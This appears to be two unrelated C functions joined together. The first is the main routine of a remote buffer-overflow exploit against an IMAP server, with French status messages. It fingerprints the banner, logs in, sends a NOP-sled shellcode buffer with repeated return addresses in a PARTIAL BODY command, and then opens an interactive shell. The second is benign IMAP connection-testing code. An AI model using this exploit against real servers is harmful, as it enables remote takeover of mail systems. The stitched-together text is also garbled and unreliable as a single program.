int main(int argc, char *argv[]) { struct sockaddr_in server; struct servent *sp; struct hostent *hp; int s, i , ret, align; int blaw = 1024; char *user, *passwd; char imap_info[4096]; char imap_login[4096]; char imap_query[4096]; char buffer[2048]; int exit_code = GOOD_EXIT; if (argc != 6) usage(argv[0]); user = argv[2]; passwd = argv[3]; ret = strtoul(argv[4], NULL, 16); align = atoi(argv[5]); if ((hp = gethostbyname(argv[1])) == NULL) exit_code = ERROR_EXIT; if ((exit_code == GOOD_EXIT) && (sp = getservbyname("imap2", "tcp")) == NULL) exit_code = ERROR_EXIT; if (exit_code == GOOD_EXIT) { if ((s = socket(PF_INET, SOCK_STREAM, DEFAULT_PROTOCOL)) < 0) return exit_code = ERROR_EXIT; bzero((char *) &server, sizeof(server)); bcopy(hp->h_addr, (char *) &server.sin_addr, hp->h_length); server.sin_family = hp->h_addrtype; server.sin_port = sp->s_port; if (connect(s, (struct sockaddr *) &server, sizeof(server)) < 0) exit_code = ERROR_EXIT; else { printf(" [1;34mVérification de la bannière : [0m\n"); if (exit_code = imap_receive(s, imap_info, sizeof(imap_info)) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } printf("%s", imap_info); if (strstr(imap_info, "IMAP4rev1 200") == NULL) { printf(" [1;32mService IMAPd non reconnu ... [0m\n"); shutdown(s, 2); close(s); return exit_code; } if ((exit_code = imap_send(s, "x CAPABILITY\n")) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } printf(" [1;34mVérification des options du service : [0m\n"); if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } printf("%s", imap_info); if (strstr(imap_info, " IMAP4 ") == NULL) { printf(" [1;32mService IMAPd non vulnérable ... [0m\n"); shutdown(s, 2); close(s); return exit_code; } printf(" [1;31mService IMAPd vulnérable ... [0m\n"); sprintf(imap_login, "x LOGIN %s %s\n", user, passwd); if ((exit_code = imap_send(s, imap_login)) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } printf("%s", imap_info); if ((exit_code = imap_send(s, "x SELECT Inbox\n")) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } printf("%s", imap_info); memset(buffer, 0x90, sizeof(buffer)); memcpy(buffer + 512, sc, strlen(sc)); for (i = blaw + align ; i < 1096; i +=4) *(unsigned int *)(&buffer[i]) = ret; *(unsigned int *)(&buffer[i + 1]) = 0; sprintf(imap_query, "x PARTIAL 1 BODY[%s] 1 1\n", buffer); if ((exit_code = imap_send(s, imap_query)) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } if ((exit_code = imap_send(s, "x LOGOUT\n")) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) == ERROR_EXIT) { shutdown(s, 2); close(s); return exit_code; } } } i = interact( s ); return exit_code; }
int imap_iface_test (iface_t *iface, const char *user, const char *passwd, const char *ca_file, const char *ca_path, const int starttls) { bool plain_auth_avail, starttls_avail; char *errstr; imap_info_t *info = NULL; imap_resp_t *resp = NULL; int state, result; iostream_t *stream; plain_auth_avail = false; starttls_avail = false; if ((stream = iostream_init (&errstr)) == NULL) { ocf_log (LOG_ERR, "%s: iostream_init: %s", __func__, errstr); return IMAP_ERR_SYSTEM; } if ((info = imap_info_alloc (BUFSIZE)) == NULL) { ocf_log (LOG_ERR, "%s: imap_info_alloc: %s", __func__, strerror (errno)); goto failure; } if ((resp = imap_resp_alloc (BUFSIZE)) == NULL) { ocf_log (LOG_ERR, "%s: imap_resp_alloc: %s", __func__, strerror (errno)); goto failure; } /* Connect to defined interface. */ if (iostream_connect (stream, iface->host, iface->port, &errstr) < 0) { ocf_log (LOG_ERR, "%s: iostream_connect: %s", __func__, errstr); goto failure; } if (iface->ssl && iostream_encrypt (stream, ca_file, ca_path, &errstr) < 0) { ocf_log (LOG_ERR, "%s: iostream_encrypt: %s", __func__, errstr); goto failure; } for (state=IMAP_STAT_CONNECT, result=IMAP_SUCCESS; ; ) { if (imap_recv (stream, info, resp) != IMAP_SUCCESS) goto failure; /* error logged by imap_recv */ if (resp->type == IMAP_RESP_TYPE_UNTAGGED && resp->status && strncmp (resp->status, "BYE", 3) == 0) { if (state == IMAP_STAT_LOGOUT) { continue; } else if (resp->extra) { ocf_log (LOG_ERR, "%s: connection terminated by server: %s", __func__, resp->extra); } else { ocf_log (LOG_ERR, "%s: connection terminated by server", __func__); } } else if (state == IMAP_STAT_CONNECT) { if (resp->type == IMAP_RESP_TYPE_UNTAGGED) { if (STRNULLCMP (resp->status, "OK", 2) == 0) { ocf_log (LOG_DEBUG, "%s: connected to %s%s://%s:%s/", __func__, iface->service, iface->ssl ? "s" : "", iface->host, iface->port); state = IMAP_STAT_CAPABILITY; if (imap_send (stream, info, "CAPABILITY") != IMAP_SUCCESS) goto failure; continue; } } } else if (state == IMAP_STAT_CAPABILITY) { if (resp->type == IMAP_RESP_TYPE_UNTAGGED) { if (STRNULLCMP (resp->command, "CAPABILITY", 10) == 0) { if (! plain_auth_avail && strstr (resp->command, "AUTH=PLAIN") != NULL) { ocf_log (LOG_DEBUG, "%s: plain text passwords enabled", __func__); plain_auth_avail = true; } if (! iostream_encrypted (stream) && ! starttls_avail && strstr (resp->command, "STARTTLS") != NULL) { ocf_log (LOG_DEBUG, "%s: connection can be encrypted", __func__); starttls_avail = true; } } continue; } else if (resp->type == IMAP_RESP_TYPE_TAGGED) { if (STRNULLCMP (resp->status, "OK", 2) == 0) { if (! starttls_avail) { ocf_log (LOG_DEBUG, "%s: connection cannot be encrypted", __func__); } /* We don't support password encryption yet, bail if plain text password aren't enabled. */ if (! plain_auth_avail) { ocf_log (LOG_WARNING, "%s: plain text passwords not enabled", __func__); state = IMAP_STAT_LOGOUT; if (imap_send (stream, info, "LOGOUT") < 0) goto failure; } else if (starttls_avail && starttls) { state = IMAP_STAT_STARTTLS; if (imap_send (stream, info, "STARTTLS") < 0) goto failure; } else { state = IMAP_STAT_LOGIN; if (imap_send (stream, info, "LOGIN %s %s", user, passwd) < 0) goto failure; } continue; } } } else if (state == IMAP_STAT_STARTTLS) { if (resp->type == IMAP_RESP_TYPE_TAGGED) { if (STRNULLCMP (resp->status, "OK", 2) == 0) { /* It appears the connection can be encrypted, initiate handshaking and continue over an encrypted connection. */ if (iostream_encrypt (stream, ca_file, ca_path, &errstr) < 0) { ocf_log (LOG_ERR, "%s: iostream_encrypt: %s", __func__, errstr); goto failure; } ocf_log (LOG_DEBUG, "%s: encrypted connection", __func__); state = IMAP_STAT_LOGIN; if (imap_send (stream, info, "LOGIN %s %s", user, passwd) < 0) goto failure; continue; } } } else if (state == IMAP_STAT_LOGIN) { if (resp->type == IMAP_RESP_TYPE_TAGGED) { if (STRNULLCMP (resp->status, "OK", 2) == 0) { ocf_log (LOG_DEBUG, "%s: logged in", __func__); state = IMAP_STAT_SELECT; if (imap_send (stream, info, "SELECT INBOX") < 0) goto failure; continue; } } else if (STRNULLCMP (resp->extra, "CAPABILITY", 10) == 0) { /* server is allowed to send CAPABILITY in response to LOGIN */ continue; } } else if (state == IMAP_STAT_SELECT) { if (resp->type == IMAP_RESP_TYPE_UNTAGGED) { continue; } else if (resp->type == IMAP_RESP_TYPE_TAGGED) { if (STRNULLCMP (resp->status, "OK", 2) == 0) { ocf_log (LOG_DEBUG, "%s: selected INBOX", __func__); state = IMAP_STAT_LOGOUT; if (imap_send (stream, info, "LOGOUT") < 0) goto failure; continue; } } } else if (state == IMAP_STAT_LOGOUT) { /* The expected BYE response is handled above. */ if (resp->type == IMAP_RESP_TYPE_TAGGED) { if (STRNULLCMP (resp->status, "OK", 2) == 0) { ocf_log (LOG_DEBUG, "%s: logged out", __func__); break; } } } else { ocf_log (LOG_ERR, "%s: unknown state, bailing", __func__); state = IMAP_STAT_LOGOUT; if (imap_send (stream, info, "LOGOUT") < 0) goto failure; } /* error condition, extra information might be available */ if (resp->status && resp->extra && (strncmp (resp->status, "NO", 2) == 0 || strncmp (resp->status, "BAD", 3) == 0)) ocf_log (LOG_ERR, "%s: %s", __func__, resp->extra); else ocf_log (LOG_ERR, "%s: unknown error", __func__); goto failure_protocol; } if (0) { failure: result = IMAP_ERR_SYSTEM; } if (0) { failure_protocol: result = IMAP_ERR_PROTOCOL; } iostream_deinit (stream); /* also calls iostream_disconnect */ imap_info_free (info); imap_resp_free (resp); return result; }